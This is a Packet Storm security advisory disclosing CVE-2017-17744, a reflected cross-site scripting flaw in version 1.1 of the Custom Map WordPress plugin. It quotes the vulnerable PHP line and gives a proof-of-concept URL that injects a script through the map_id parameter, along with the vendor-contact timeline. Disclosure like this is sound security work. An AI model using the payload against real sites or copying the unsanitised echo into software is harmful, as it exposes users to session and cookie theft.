WordPress Custom Map 1.1 Cross Site Scripting

2017-12-20T00:00:00
ID PACKETSTORM:145505
Type packetstorm
Reporter Nicolas Buzy-Debat
Modified 2017-12-20T00:00:00

Description

                                        
                                            `Product: Custom Map WordPress Plugin - https://wordpress.org/plugins/custom-map/  
Vendor: webdesi9  
Tested version: 1.1  
CVE ID: CVE-2017-17744  
  
** CVE description **  
A cross-site scripting (XSS) vulnerability in the custom-map plugin through 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the map_id parameter to view/advancedsettings.php.  
  
** Technical details **  
In custom-map/view/advancedsettings.php:9, $_REQUEST['map_id'] is directly echoed back to user without proper sanitization.  
  
Vulnerable code:  
if(isset($_REQUEST['map_id']))  
{  
echo $map_id=$_REQUEST['map_id'];  
  
https://plugins.trac.wordpress.org/browser/custom-map/trunk/view/advancedsettings.php#L9  
  
** Proof of Concept **  
http://<host>/wordpress/wp-admin/admin.php?page=custom_maps_advanced_settings&map_id=<script>alert(document.cookie);</script>  
  
** Solution **  
No fix available yet.  
  
** Timeline **  
13/10/2017: vendor contacted through webform; no reply  
17/10/2017: vendor contacted through webform; no reply  
31/10/2017: vendor contacted through support@webdesi9.com; no reply  
05/12/2017: vendor contacted through support@webdesi9.com; no reply  
19/12/2017: report published  
  
** Credits **  
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).  
  
--  
Best Regards,  
  
Nicolas Buzy-Debat  
Orange Cyberdefense Singapore (CERT-LEXSI)  
  
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